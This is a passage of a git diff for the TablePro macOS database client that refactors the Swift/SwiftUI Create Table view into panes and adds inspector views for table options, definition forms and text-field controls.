-    private static let logger = Logger(subsystem: "com.TablePro", category: "CreateTableView")
-
-    let connection: DatabaseConnection
-
-    let scope: DatabaseScope?
-    var coordinator: MainContentCoordinator?
-
-    @Environment(\.appServices) private var services
-
     @ObservedObject var draft: CreateTableDraft
-    @ObservedObject private var gridModel: DataGridModel
-    private let gridAdapter: CreateTableGridAdapter
-
-    private var structureChangeManager: StructureChangeManager { draft.changeManager }
+    let coordinator: MainContentCoordinator?
 
-    @State private var selectedTab: CreateTableTab = .columns
-    @State private var isCreating = false
-    @State private var errorMessage: String?
-    @State private var showError = false
-    @State private var actionHandler = CreateTableActionHandler()
+    @AppStorage("structureCodeFontSize", store: AppStorageEnvironment.shared.defaults) private var ddlFontSize: Double = 13
 
-    init(
-        connection: DatabaseConnection,
-        scope: DatabaseScope?,
-        coordinator: MainContentCoordinator?,
-        draft: CreateTableDraft
-    ) {
-        self.connection = connection
-        self.scope = scope
-        self.coordinator = coordinator
-        self.draft = draft
-        let adapter = draft.gridAdapter(for: connection)
-        self.gridAdapter = adapter
-        self.gridModel = adapter.model
-    }
+    private static let compositionPause: Duration = .milliseconds(150)
 
     var body: some View {
         VStack(spacing: 0) {
-            configBar
-            Divider()
-            editorContent
+            if draft.hasResolvedForm {
+                paneBar
+                Divider()
+                paneContent
+                    .frame(maxWidth: .infinity, maxHeight: .infinity)
+            } else {
+                Color.clear
+            }
         }
         .navigationTitle(String(localized: "Create Table"))
         .onAppear {
-            draft.resolveForm(
-                from: DatabaseManager.shared.driver(for: connection.id)?.createTableFormSpec(schema: scope?.schema)
-            )
-            actionHandler.createTable = { createTable() }
-            coordinator?.createTableActions = actionHandler
-            if draft.form == nil {
-                attachStructureGrid()
-            }
-            coordinator?.toolbarState.hasCreateTablePending = isReadyToCreate
+            draft.prepare(coordinator: coordinator)
+            publishReadiness()
         }
         .onDisappear {
-            // Guarded by identity: the outgoing view's onDisappear can land after the incoming one's onAppear.
-            if coordinator?.createTableActions === actionHandler {
-                coordinator?.createTableActions = nil
-                coordinator?.toolbarState.hasCreateTablePending = false
-            }
-            if coordinator?.inspectorRowSource === gridAdapter {
-                coordinator?.inspectorRowSource = nil
-            }
-        }
-        .onChange(of: selectedTab) { _ in gridAdapter.select(structureTab) }
-        .onChange(of: structureChangeManager.reloadVersion) { _ in gridAdapter.refresh() }
-        .onChange(of: structureChangeManager.hasChanges) { _ in gridAdapter.refresh() }
-        .onChange(of: isReadyToCreate) { _ in updateCreateTablePendingState() }
-        .onChange(of: draft.optionsCatalog) { _ in gridAdapter.characterSetCatalogDidChange() }
-        .task(id: scope) { await loadTableOptions() }
-        .task(id: compositionKey) { await recomposeAfterPause() }
-        .alert(String(localized: "Create Table Failed"), isPresented: $showError) {
-            Button("OK") {}
-        } message: {
-            Text(verbatim: RevealedText(errorMessage ?? "").plainText)
-        }
-    }
-
-    @ViewBuilder
-    private var editorContent: some View {
-        if draft.form != nil {
-            CreateTableFormEditor(
-                draft: draft,
-                databaseType: connection.type,
-                isCreating: isCreating,
-                generateStatements: { request in try formStatements(for: request) },
-                onCreate: { createTable() }
-            )
-        } else if draft.hasResolvedForm {
-            tabBar
-            Divider()
-            tabContent
-                .frame(maxWidth: .infinity, maxHeight: .infinity)
-            Divider()
-            commitBar
-        } else {
-            Color.clear
-        }
-    }
-
-    private func attachStructureGrid() {
-        coordinator?.inspectorRowSource = gridAdapter
-        gridAdapter.coordinator = coordinator
-        gridAdapter.serverSupport = StructureServerSupport.forConnection(connection.id)
-        gridAdapter.schemaName = coordinator?.toolbarState.currentSchema
-        if structureChangeManager.workingColumns.isEmpty {
-            structureChangeManager.addNewColumn()
-        }
-        gridAdapter.select(structureTab)
-        gridAdapter.refresh()
-        actionHandler.undo = { gridAdapter.undo() }
-        actionHandler.redo = { gridAdapter.redo() }
-    }
-
-    // MARK: - Config Bar
-
-    private var configBar: some View {
-        HStack(spacing: 12) {
-            Text("Table Name:")
-                .font(.body.weight(.medium))
-
-            TextField("Enter table name", text: $draft.tableName)
-                .textFieldStyle(.roundedBorder)
-                .autocorrectionDisabled(true)
-                .frame(maxWidth: 300)
-                .accessibilityLabel(String(localized: "Table Name"))
-                .accessibilityIdentifier("create-table-name")
-
-            if offersTableComment {
-                Text("Comment:")
-                    .font(.body.weight(.medium))
-
-                TextField("Optional", text: $draft.tableOptions.comment)
-                    .textFieldStyle(.roundedBorder)
-                    .frame(maxWidth: 300)
-                    .accessibilityLabel(String(localized: "Comment"))
-                    .accessibilityIdentifier("create-table-comment")
-            }
-
-            if let catalog = draft.catalog, draft.hasResolvedForm, draft.form == nil {
-                Divider()
-                    .frame(height: 20)
-
-                engineOptions(catalog)
-            }
-
-            Spacer()
+            // Guarded: the outgoing view's onDisappear can land after the incoming one's onAppear.
+            if let active = coordinator?.activeCreateTableDraft, active !== draft { return }
+            coordinator?.toolbarState.hasCreateTablePending = false
         }
-        .padding()
-        .paneBarBackground()
+        .onChange(of: draft.isReadyToCreate) { _ in publishReadiness() }
+        .task(id: draft.scope) { await draft.loadTableOptions() }
+        .task(id: draft.compositionKey) { await recomposeAfterPause() }
     }
 
-    // Lists from the server's catalog, started from the target database's defaults. Nil writes no clause.
-    @ViewBuilder
-    private func engineOptions(_ catalog: TableOptionsCatalog) -> some View {
-        let options = draft.tableOptions
-        if !catalog.engines.isEmpty || options.engine != nil {
-            Picker("Engine:", selection: $draft.tableOptions.engine) {
-                if options.engine == nil {
-                    Text("Default").tag(String?.none)
-                }
-                ForEach(TableOptionsForm.engines(in: catalog, keeping: options.engine)) { choice in
-                    Text(choice.title).tag(Optional(choice.name))
-                }
-            }
-            .fixedSize()
-            .accessibilityIdentifier("create-table-engine")
-        }
-
-        Picker("Charset:", selection: characterSetBinding) {
-            if options.charset == nil {
-                Text("Default").tag(String?.none)
-            }
-            ForEach(TableOptionsForm.characterSets(in: catalog, keeping: options.charset), id: \.self) { name in
-                Text(name).tag(Optional(name))
-            }
-        }
-        .fixedSize()
-        .accessibilityIdentifier("create-table-charset")
-
-        Picker("Collation:", selection: $draft.tableOptions.collation) {
-            if options.collation == nil {
-                Text("Default").tag(String?.none)
-            }
-            ForEach(
-                TableOptionsForm.collations(in: catalog, characterSet: options.charset, keeping: options.collation)
-            ) { choice in
-                Text(choice.title).tag(Optional(choice.name))
-            }
-        }
-        .fixedSize()
-        .disabled(options.charset == nil)
-        .accessibilityIdentifier("create-table-collation")
+    private func publishReadiness() {
+        coordinator?.toolbarState.hasCreateTablePending = draft.isReadyToCreate
     }
 
-    // One whole-value write: the collation follows the charset, so a second write would resolve against a stale draft.
-    private var characterSetBinding: Binding<String?> {
-        Binding(
-            get: { draft.tableOptions.charset },
-            set: { draft.selectCharacterSet($0) }
-        )
-    }
-
-    private func loadTableOptions() async {
-        guard let scope else { return }
-        await draft.loadTableOptions(scope: scope)
-    }
-
-    private var offersTableComment: Bool {
-        guard draft.hasResolvedForm, draft.form == nil else { return false }
-        let support = DatabaseObjectToolEligibility.Support.of(DatabaseManager.shared.driver(for: connection.id))
-        return support.commentableTypes.contains(.table)
+    private func recomposeAfterPause() async {
+        try? await Task.sleep(for: Self.compositionPause)
+        guard !Task.isCancelled else { return }
+        await draft.recompose()
     }
 
-    // MARK: - Tabs
+    // MARK: - Panes
 
-    private var availableTabs: [CreateTableTab] {
-        var tabs = CreateTableTab.allCases
-        if !connection.type.supportsForeignKeys {
-            tabs = tabs.filter { $0 != .foreignKeys }
-        }
-        return tabs
-    }
-
-    private var tabBar: some View {
+    private var paneBar: some View {
         PaneTabBar(
             title: String(localized: "Structure"),
-            selection: $selectedTab.committingEdit(of: gridModel),
+            selection: paneSelection,
             identifier: "create-table-tabs"
         ) {
-            ForEach(availableTabs, id: \.self) { tab in
-                Text(tab.displayName).tag(tab)
+            ForEach(CreateTablePane.allCases, id: \.self) { pane in
+                Text(title(of: pane)).tag(pane)
             }
         }
     }
 
-    // One grid serves the three grid tabs: the adapter repoints it as the selection moves.
-    @ViewBuilder
-    private var tabContent: some View {
-        switch selectedTab {
-        case .columns, .indexes, .foreignKeys:
-            structureGridPane
-        case .sqlPreview:
-            sqlPreviewView
-        }
+    // An open cell edit lands before the pane changes, so the DDL includes it.
+    private var paneSelection: Binding<CreateTablePane> {
+        Binding(
+            get: { draft.pane },
+            set: { pane in
+                draft.commitOpenEdits()
+                draft.pane = pane
+            }
+        )
     }
 
-    // MARK: - Commit Bar
-
-    private var commitBar: some View {
-        let issues = draft.composed?.issues ?? draft.plan(for: connection.type).issues
-
-        return HStack(spacing: 8) {
-            issueMessage(issues)
-
-            Spacer(minLength: 12)
-
-            Button(isCreating ? String(localized: "Creating…") : String(localized: "Create Table")) {
-                createTable()
+    private func title(of pane: CreateTablePane) -> String {
+        switch pane {
+        case .definition:
+            if draft.form == nil {
+                return String(localized: "Definition")
             }
-            .buttonStyle(.borderedProminent)
-            .tint(.accentColor)
-            .disabled(!issues.isEmpty || isCreating)
-            .keyboardShortcut(.return, modifiers: .command)
-            .accessibilityIdentifier("create-table-commit")
+            return String(localized: "Form")
+        case .ddl:
+            return "DDL"
         }
-        .padding(.horizontal)
-        .padding(.vertical, 8)
     }
 
     @ViewBuilder
-    private func issueMessage(_ issues: [SchemaDraftIssue]) -> some View {
-        if let first = issues.first {
-            Label(messageText(first), systemImage: "exclamationmark.triangle.fill")
-                .font(.callout)
-                .foregroundStyle(.secondary)
-                .lineLimit(1)
-                .truncationMode(.tail)
-                .help(issues.map(\.qualifiedMessage).joined(separator: "\n"))
-                .accessibilityIdentifier("create-table-validation")
-        }
-    }
-
-    private func messageText(_ issue: SchemaDraftIssue) -> String {
-        issue.tab == structureTab ? issue.message : issue.qualifiedMessage
-    }
-
-    // MARK: - Structure Grid
-
-    private var structureTab: StructureTab {
-        switch selectedTab {
-        case .columns: return .columns
-        case .indexes: return .indexes
-        case .foreignKeys: return .foreignKeys
-        case .sqlPreview: return .columns
-        }
-    }
-
-    private var structureGridPane: some View {
-        VStack(spacing: 0) {
-            DataGridView(model: gridModel)
-            Divider()
-            rowButtons(identifier: rowButtonsIdentifier)
-        }
-    }
-
-    private var rowButtonsIdentifier: String {
-        switch selectedTab {
-        case .columns, .sqlPreview: return "create-table-columns"
-        case .indexes: return "create-table-indexes"
-        case .foreignKeys: return "create-table-foreign-keys"
-        }
-    }
-
-    // Add and Delete act on the shown tab's rows, since the adapter follows the selected tab.
-    private func rowButtons(identifier: String) -> some View {
-        HStack(spacing: 8) {
-            Button(action: { gridAdapter.addRow() }) {
-                Image(systemName: "plus")
-                    .frame(width: 24, height: 24)
-            }
-            .help(String(localized: "Add Row"))
-            .accessibilityLabel(String(localized: "Add Row"))
-            .accessibilityIdentifier("\(identifier)-add")
-
-            Button(action: { gridAdapter.deleteRows(gridModel.selectedRowIDs) }) {
-                Image(systemName: "minus")
-                    .frame(width: 24, height: 24)
+    private var paneContent: some View {
+        switch draft.pane {
+        case .definition:
+            if draft.form != nil {
+                VStack(spacing: 0) {
+                    CreateTableNameHeader(draft: draft)
+                    Divider()
+                    CreateTableFormView(draft: draft)
+                }
+            } else {
+                StructureDefinitionPage(
+                    editor: draft.editor,
+                    loadState: StructureLoadState(),
+                    header: AnyView(CreateTableNameHeader(draft: draft))
+                )
             }
-            .help(String(localized: "Delete Selected"))
-            .accessibilityLabel(String(localized: "Delete Selected"))
-            .disabled(gridModel.selection.isEmpty)
-            .accessibilityIdentifier("\(identifier)-remove")
-
-            Spacer()
+        case .ddl:
+            ddlPane
         }
-        .padding(8)
     }
 
-    // MARK: - SQL Preview
-
     @ViewBuilder
-    private var sqlPreviewView: some View {
-        if let composed = draft.composed {
+    private var ddlPane: some View {
+        if let preview = draft.formPreview {
+            CreateTableFormPreview(preview: preview, databaseType: draft.connection.type)
+        } else if let composed = draft.composed {
             if composed.statements.isEmpty {
                 CreateTableSQLPreviewStandIn(content: .message(composed.issues.first?.qualifiedMessage))
             } else {
-                DDLTextView(ddl: composed.preview, fontSize: .constant(13), databaseType: connection.type)
+                DDLTextView(ddl: composed.preview, fontSize: $ddlFontSize, databaseType: draft.connection.type)
             }
         } else if let failure = draft.compositionFailure {
             CreateTableSQLPreviewStandIn(content: .message(failure))
         } else {
-            uncomposedPreview(plan: draft.plan(for: connection.type))
-        }
-    }
-
-    private func uncomposedPreview(plan: CreateTablePlan) -> some View {
-        CreateTableSQLPreviewStandIn(
-            content: plan.definition == nil ? .message(plan.issues.first?.qualifiedMessage) : .composing
-        )
-    }
-
-    // MARK: - SQL Generation
-
-    private static let compositionPause: Duration = .milliseconds(150)
-
-    private var compositionKey: CreateTableCompositionKey? {
-        scope.map { draft.compositionKey(scope: $0) }
-    }
-
-    private func recomposeAfterPause() async {
-        guard let scope else { return }
-        try? await Task.sleep(for: Self.compositionPause)
-        guard !Task.isCancelled else { return }
-        await draft.recompose(databaseType: connection.type, scope: scope)
-    }
-
-    // MARK: - Create Table
-
-    private var isReadyToCreate: Bool {
-        guard !isCreating else { return false }
-        if let form = draft.form {
-            return form.issues(tableName: draft.tableName).isEmpty
-        }
-        guard let composed = draft.composed else { return false }
-        return composed.issues.isEmpty && !composed.statements.isEmpty
-    }
-
-    private func formStatements(for request: PluginCreateTableRequest) throws -> [String] {
-        guard let driver = DatabaseManager.shared.driver(for: connection.id) else {
-            throw PluginCreateTableFormError(message: String(localized: "Not connected to database"))
+            let plan = draft.plan()
+            CreateTableSQLPreviewStandIn(
+                content: plan.definition == nil ? .message(plan.issues.first?.qualifiedMessage) : .composing
+            )
         }
-        return try driver.createTableStatements(for: request, schema: scope?.schema)
     }
+}
 
-    private func updateCreateTablePendingState() {
-        coordinator?.toolbarState.hasCreateTablePending = isReadyToCreate
-    }
+// The table's name and what still stands between the draft and Create Table. An issue that names a row reveals it.
+struct CreateTableNameHeader: View {
+    @ObservedObject var draft: CreateTableDraft
+    @FocusState private var isNameFocused: Bool
 
-    private func createTable() {
-        guard draft.form != nil else {
-            createTableFromStructureGrid()
-            return
-        }
-        createTableFromForm()
+    private struct Row: Identifiable {
+        let id: String
+        let message: String
+        let reveal: (() -> Void)?
     }
 
-    private func createTableFromStructureGrid() {
-        guard !isCreating else { return }
-        let plan = draft.plan(for: connection.type)
-        guard plan.issues.isEmpty else {
-            errorMessage = plan.issues.map(\.qualifiedMessage).joined(separator: "\n")
-            showError = true
-            return
-        }
-        guard let scope else {
-            errorMessage = String(localized: "Not connected to database")
-            showError = true
-            return
-        }
-
-        isCreating = true
-        errorMessage = nil
-        updateCreateTablePendingState()
-
-        Task {
-            defer { isCreating = false }
-            do {
-                let composed = try await DatabaseManager.shared.createTableStatements(plan: plan, scope: scope)
-                guard composed.issues.isEmpty, !composed.statements.isEmpty else {
-                    errorMessage = composed.issues.map(\.qualifiedMessage).joined(separator: "\n")
-                    showError = true
-                    return
+    var body: some View {
+        VStack(alignment: .leading, spacing: 8) {
+            HStack(spacing: 8) {
+                Text("Table Name:")
+                TextField(String(localized: "Table Name"), text: $draft.tableName, prompt: Text("Required"))
+                    .textFieldStyle(.roundedBorder)
+                    .autocorrectionDisabled(true)
+                    .frame(maxWidth: 300)
+                    .focused($isNameFocused)
+                    .accessibilityIdentifier("create-table-name")
+            }
+            let issueRows = rows
+            if !issueRows.isEmpty {
+                VStack(alignment: .leading, spacing: 4) {
+                    ForEach(issueRows) { row in
+                        issueRow(row)
+                    }
                 }
-                let createdName = composed.tableName ?? draft.tableName
-                try await runCreateTable(statements: composed.statements, createdName: createdName, in: scope)
-            } catch {
-                Self.logger.error("Create table failed: \(error.publicLogShape, privacy: .public)")
-                errorMessage = error.localizedDescription
-                showError = true
+                .accessibilityElement(children: .contain)
+                .accessibilityIdentifier("create-table-validation")
             }
         }
-    }
-
-    private func createTableFromForm() {
-        guard !isCreating, let form = draft.form else { return }
-        let issues = form.issues(tableName: draft.tableName)
-        guard issues.isEmpty else {
-            errorMessage = issues.map(\.qualifiedMessage).joined(separator: "\n")
-            showError = true
-            return
-        }
-        guard let scope else {
-            errorMessage = String(localized: "Not connected to database")
-            showError = true
-            return
+        .padding(.horizontal, 10)
+        .padding(.vertical, 10)
+        .frame(maxWidth: .infinity, alignment: .leading)
+        .onAppear {
+            if draft.claimNameFocus() {
+                isNameFocused = true
+            }
         }
+    }
 
-        let request = form.request(tableName: draft.tableName)
-        let schema = scope.schema
-        isCreating = true
-        errorMessage = nil
-        draft.form?.clearSubmissionError()
-        updateCreateTablePendingState()
-
-        Task {
-            defer { isCreating = false }
-            do {
-                let statements = try await DatabaseManager.shared.withMetadataDriver(scope: scope) { driver in
-                    try driver.createTableStatements(for: request, schema: schema)
-                }
-                guard !statements.isEmpty else {
-                    draft.form?.recordSubmissionError(PluginCreateTableFormError(
-                        message: String(localized: "The form produced no statements to run.")
-                    ))
-                    return
-                }
-                try await runCreateTable(statements: statements, createdName: request.tableName, in: scope)
-            } catch let formError as PluginCreateTableFormError {
-                draft.form?.recordSubmissionError(formError)
-            } catch {
-                Self.logger.error("Create table failed: \(error.publicLogShape, privacy: .public)")
-                errorMessage = error.localizedDescription
-                showError = true
+    private func issueRow(_ row: Row) -> some View {
+        HStack(alignment: .firstTextBaseline, spacing: 6) {
+            Image(systemName: "exclamationmark.triangle.fill")
+                .foregroundStyle(.secondary)
+                .accessibilityHidden(true)
+            if let reveal = row.reveal {
+                Button(row.message, action: reveal)
+                    .buttonStyle(.link)
+            } else {
+                Text(row.message)
+                    .foregroundStyle(.secondary)
             }
         }
+        .font(.callout)
+        .fixedSize(horizontal: false, vertical: true)
     }
 
-    private func runCreateTable(statements: [String], createdName: String, in scope: DatabaseScope) async throws {
-        do {
-            try await DatabaseManager.shared.executeCreateTable(
-                statements: statements,
-                databaseType: connection.type,
-                scope: scope
-            )
-        } catch let incomplete as CreateTableIncompleteError {
-            openCreatedTable(createdName, in: scope, showStructure: true)
-            AlertHelper.showErrorSheet(
-                title: String(localized: "Table Created with Errors"),
-                message: incomplete.message,
-                recoverySuggestion: String(
-                    localized: "The table exists, but a statement after CREATE TABLE failed. Finish the change in its Structure tab."
-                ),
-                window: coordinator?.contentWindow
+    private var rows: [Row] {
+        if let form = draft.form {
+            let messages = [form.submissionError?.message].compactMap { $0 }
+                + form.issues(tableName: draft.tableName).map(\.qualifiedMessage)
+            return messages.enumerated().map { Row(id: "\($0.offset)", message: $0.element, reveal: nil) }
+        }
+        return draft.issues.enumerated().map { offset, issue in
+            Row(
+                id: "\(offset)-\(issue.id)",
+                message: issue.row == nil ? issue.message : issue.qualifiedMessage,
+                reveal: draft.entityID(for: issue) == nil ? nil : { draft.reveal(issue) }
             )
-            return
         }
-        openCreatedTable(createdName, in: scope, showStructure: false)
-    }
-
-    private func openCreatedTable(_ name: String, in scope: DatabaseScope, showStructure: Bool) {
-        let created = DatabaseObjectChange(connectionId: connection.id, scope: scope, name: name, kind: .rows)
-        coordinator?.openTableTab(
-            name,
-            schema: scope.schema,
-            database: scope.database.nilIfEmpty,
-            showStructure: showStructure
-        )
-        AppCommands.shared.objectChanged.send(created)
     }
 }
 
diff --git a/apple/TablePro/Views/Structure/Inspector/CreateTablePropertiesView.swift b/apple/TablePro/Views/Structure/Inspector/CreateTablePropertiesView.swift
new file mode 100644
index 0000000000..09d4303321
--- /dev/null
+++ b/apple/TablePro/Views/Structure/Inspector/CreateTablePropertiesView.swift
@@ -0,0 +1,117 @@
+//
+//  CreateTablePropertiesView.swift
+//  TablePro
+//
+
+import SwiftUI
+
+// The drafted table's comment and engine options, when nothing on the Definition page is selected. The lists come
+// from the server's catalog and start from the target database's defaults; nil writes no clause.
+struct CreateTablePropertiesView: View {
+    @ObservedObject var draft: CreateTableDraft
+
+    private var catalog: TableOptionsCatalog? {
+        guard case .loaded(let catalog) = draft.optionsCatalog else { return nil }
+        return catalog
+    }
+
+    private var offersComment: Bool {
+        let driver = DatabaseManager.shared.driver(for: draft.editor.context.connection.id)
+        return DatabaseObjectToolEligibility.Support.of(driver).commentableTypes.contains(.table)
+    }
+
+    var body: some View {
+        let offersComment = draft.form == nil && self.offersComment
+        let catalog = draft.form == nil ? self.catalog : nil
+        if !offersComment, catalog == nil {
+            UnavailableStateView(
+                String(localized: "No Selection"),
+                systemImage: TrailingPaneSurface.inspector.symbolName,
+                description: Text(String(localized: "Select a definition to edit it"))
+            )
+        } else {
+            ScrollView {
+                VStack(alignment: .leading, spacing: 6) {
+                    StructureInspectorSectionHeader(title: String(localized: "Table"))
+                    VStack(alignment: .leading, spacing: 10) {
+                        if offersComment {
+                            StructureInspectorRow(label: String(localized: "Comment")) {
+                                TextField(String(localized: "Optional"), text: $draft.tableOptions.comment, axis: .vertical)
+                                    .lineLimit(2...6)
+                                    .textFieldStyle(.squareBorder)
+                                    .accessibilityLabel(String(localized: "Comment"))
+                                    .accessibilityIdentifier("create-table-comment")
+                            }
+                        }
+                        if let catalog {
+                            engineRows(catalog)
+                        }
+                    }
+                }
+                .padding(.horizontal, InspectorMetrics.horizontalInset)
+                .padding(.vertical, 12)
+                .frame(maxWidth: .infinity, alignment: .leading)
+            }
+            .font(.subheadline)
+            .controlSize(.small)
+            .disabled(draft.editor.isReadOnly)
+        }
+    }
+
+    @ViewBuilder
+    private func engineRows(_ catalog: TableOptionsCatalog) -> some View {
+        let options = draft.tableOptions
+        if !catalog.engines.isEmpty || options.engine != nil {
+            StructureInspectorRow(label: String(localized: "Engine")) {
+                Picker(String(localized: "Engine"), selection: $draft.tableOptions.engine) {
+                    if options.engine == nil {
+                        Text(String(localized: "Default")).tag(String?.none)
+                    }
+                    ForEach(TableOptionsForm.engines(in: catalog, keeping: options.engine)) { choice in
+                        Text(choice.title).tag(Optional(choice.name))
+                    }
+                }
+                .labelsHidden()
+                .accessibilityIdentifier("create-table-engine")
+            }
+        }
+
+        StructureInspectorRow(label: String(localized: "Character Set")) {
+            Picker(String(localized: "Character Set"), selection: characterSetBinding) {
+                if options.charset == nil {
+                    Text(String(localized: "Default")).tag(String?.none)
+                }
+                ForEach(TableOptionsForm.characterSets(in: catalog, keeping: options.charset), id: \.self) { name in
+                    Text(name).tag(Optional(name))
+                }
+            }
+            .labelsHidden()
+            .accessibilityIdentifier("create-table-charset")
+        }
+
+        StructureInspectorRow(label: String(localized: "Collation")) {
+            Picker(String(localized: "Collation"), selection: $draft.tableOptions.collation) {
+                if options.collation == nil {
+                    Text(String(localized: "Default")).tag(String?.none)
+                }
+                ForEach(
+                    TableOptionsForm.collations(in: catalog, characterSet: options.charset, keeping: options.collation)
+                ) { choice in
+                    Text(choice.title).tag(Optional(choice.name))
+                }
+            }
+            .labelsHidden()
+            .disabled(options.charset == nil)
+            .accessibilityIdentifier("create-table-collation")
+        }
+    }
+
+    // One whole-value write: the collation follows the character set, so a second write would resolve against a
+    // stale draft.
+    private var characterSetBinding: Binding<String?> {
+        Binding(
+            get: { draft.tableOptions.charset },
+            set: { draft.selectCharacterSet($0) }
+        )
+    }
+}
diff --git a/apple/TablePro/Views/Structure/Inspector/StructureDefinitionFormView.swift b/apple/TablePro/Views/Structure/Inspector/StructureDefinitionFormView.swift
new file mode 100644
index 0000000000..ec0123cf4f
--- /dev/null
+++ b/apple/TablePro/Views/Structure/Inspector/StructureDefinitionFormView.swift
@@ -0,0 +1,165 @@
+//
+//  StructureDefinitionFormView.swift
+//  TablePro
+//
+
+import SwiftUI
+
+// The selected column, index, foreign key or check constraint as a form: each field's name above a control the pane's
+// width, the layout the Data view's inspector uses, since a label column leaves a 270pt pane too little room.
+struct StructureDefinitionFormView: View {
+    let editor: StructureDefinitionEditor
+    let form: StructureInspectorForm
+    let revision: Int
+
+    var body: some View {
+        ScrollView {
+            VStack(alignment: .leading, spacing: 12) {
+                if form.isDeleted {
+                    Label(
+                        String(localized: "Marked for deletion. Undo or Undo Delete brings it back."),
+                        systemImage: "trash"
+                    )
+                    .font(.callout)
+                    .foregroundStyle(.secondary)
+                    .fixedSize(horizontal: false, vertical: true)
+                    .accessibilityIdentifier("structure-inspector-deleted-note")
+                }
+
+                VStack(alignment: .leading, spacing: 10) {
+                    ForEach(form.fields) { field in
+                        if case .checkbox = StructureInspectorControl.resolve(field) {
+                            control(for: field)
+                        } else {
+                            StructureInspectorRow(label: field.label, isModified: field.isModified) {
+                                control(for: field)
+                            }
+                        }
+                    }
+                }
+            }
+            .padding(.horizontal, InspectorMetrics.horizontalInset)
+            .padding(.vertical, 12)
+            .frame(maxWidth: .infinity, alignment: .leading)
+        }
+        .font(.subheadline)
+        .controlSize(.small)
+        .onAppear {
+            // Reading the character sets is what a Charset or Collation menu opening does in the grid.
+            guard form.section == .columns, form.isEditable else { return }
+            editor.readCharacterSetCatalogIfNeeded()
+        }
+    }
+
+    @ViewBuilder
+    private func control(for field: StructureInspectorForm.Field) -> some View {
+        let identifier = StructureInspectorPresentation.controlIdentifier(section: form.section, field: field.id)
+        let value = field.value ?? ""
+        switch StructureInspectorControl.resolve(field) {
+        case .text:
+            StructureInspectorTextField(
+                label: field.label, value: value, revision: revision,
+                onType: { type($0, into: field) }, onEnd: { editor.endInspectorTyping() }
+            )
+            .accessibilityLabel(field.label)
+            .accessibilityIdentifier(identifier)
+        case .multiline:
+            StructureInspectorTextField(
+                label: field.label, value: value, revision: revision, isMultiline: true,
+                onType: { type($0, into: field) }, onEnd: { editor.endInspectorTyping() }
+            )
+            .accessibilityLabel(field.label)
+            .accessibilityIdentifier(identifier)
+        case .checkbox:
+            Toggle(
+                isOn: Binding(
+                    get: { value == StructureRowProvider.booleanOptions[0] },
+                    set: { isOn in
+                        commit(isOn ? StructureRowProvider.booleanOptions[0] : StructureRowProvider.booleanOptions[1], to: field)
+                    }
+                )
+            ) {
+                Text(field.label)
+                    .fontWeight(field.isModified ? .semibold : .regular)
+            }
+            .toggleStyle(.checkbox)
+            .accessibilityLabel(field.label)
+            .accessibilityIdentifier(identifier)
+        case .popUp(let choices):
+            popUp(choices, field: field)
+                .accessibilityLabel(field.label)
+                .accessibilityIdentifier(identifier)
+        case .comboBox(let choices):
+            StructureInspectorSuggestionField(
+                label: field.label,
+                value: value,
+                revision: revision,
+                identifier: identifier,
+                groups: choices.groups,
+                onType: { type($0, into: field) },
+                onPick: { commit($0, to: field) },
+                onEnd: { editor.endInspectorTyping() }
+            )
+        case .typePicker:
+            StructureInspectorTypeField(
+                value: value,
+                revision: revision,
+                label: field.label,
+                identifier: identifier,
+                databaseType: editor.context.databaseType,
+                scope: editor.context.scope,
+                onType: { type($0, into: field) },
+                onPick: { commit($0, to: field) },
+                onEnd: { editor.endInspectorTyping() }
+            )
+        case .readOnly(let text):
+            Text(text)
+                .textSelection(.enabled)
+                .fixedSize(horizontal: false, vertical: true)
+                .accessibilityLabel(field.label)
+                .accessibilityValue(text)
+                .accessibilityIdentifier(identifier)
+        }
+    }
+
+    private func popUp(_ choices: StructureInspectorChoices, field: StructureInspectorForm.Field) -> some View {
+        Picker(
+            selection: Binding(
+                get: { choices.selectedID ?? Self.noSelection },
+                set: { id in
+                    guard let value = choices.value(of: id) else { return }
+                    commit(value, to: field)
+                }
+            )
+        ) {
+            ForEach(choices.groups) { group in
+                if let header = group.header {
+                    Section {
+                        ForEach(group.items) { Text($0.title).tag($0.id) }
+                    } header: {
+                        Text(header)
+                    }
+                } else {
+                    ForEach(group.items) { Text($0.title).tag($0.id) }
+                }
+            }
+        } label: {
+            Text(field.label)
+        }
+        .pickerStyle(.menu)
+        .labelsHidden()
+        .fixedSize(horizontal: false, vertical: true)
+    }
+
+    // A tag no item carries, so a value the menu does not list shows nothing selected rather than another item.
+    private static let noSelection = -1
+
+    private func type(_ value: String, into field: StructureInspectorForm.Field) {
+        editor.typeInspectorField(section: form.section, id: form.entityID, field: field.id, value: value)
+    }
+
+    private func commit(_ value: String, to field: StructureInspectorForm.Field) {
+        guard value != (field.value ?? "") else { return }
+        editor.commitInspectorField(section: form.section, id: form.entityID, field: field.id, value: value)
+    }
+}
diff --git a/apple/TablePro/Views/Structure/Inspector/StructureInspectorControls.swift b/apple/TablePro/Views/Structure/Inspector/StructureInspectorControls.swift
new file mode 100644
index 0000000000..f9846b16f5
--- /dev/null
+++ b/apple/TablePro/Views/Structure/Inspector/StructureInspectorControls.swift
@@ -0,0 +1,232 @@
+//
+//  StructureInspectorControls.swift
+//  TablePro
+//
+
+import SwiftUI
+
+// A definition field's text. Every keystroke is staged at once, the way the table comment's field is, so Save, Refresh
+// and the close prompt always see what is typed; the editor folds the run into one undo step, ended by Return or by
+// focus leaving.
+struct StructureInspectorTextField: View {
+    let label: String
+    let value: String
+    let revision: Int
+    var isMultiline = false
+    // Moved by a pick from a menu beside the field: the field shows the picked value even while it has focus.
+    var resetToken = 0
+    let onType: (String) -> Void
+    let onEnd: () -> Void
+
+    @State private var draft = ""
+    // What the field last wrote or was synced from, so only typing writes, never a value the model moved under it.
+    @State private var base = ""
+    // The stored value, so leaving a field whose write was refused puts it back.
+    @State private var latest = ""
+    @State private var hasSeeded = false
+    @FocusState private var isFocused: Bool
+
+    private struct Sync: Equatable {
+        let value: String
+        let revision: Int
+    }
+
+    var body: some View {
+        field
+            .textFieldStyle(.squareBorder)
+            .autocorrectionDisabled(true)
+            .focused($isFocused)
+            .onAppear(perform: seed)
+            .onChange(of: Sync(value: value, revision: revision)) { sync in
+                latest = sync.value
+                guard !isFocused else { return }
+                draft = sync.value
+                base = sync.value
+            }
+            .onChange(of: draft) { text in
+                guard hasSeeded, isFocused, text != base else { return }
+                base = text
+                onType(text)
+            }
+            .onChange(of: isFocused) { focused in
+                guard !focused else { return }
+                onEnd()
+                draft = latest
+                base = latest
+            }
+            .onChange(of: resetToken) { _ in
+                draft = value
+                base = value
+                latest = value
+            }
+            .onSubmit(onEnd)
+            .onDisappear(perform: onEnd)
+    }
+
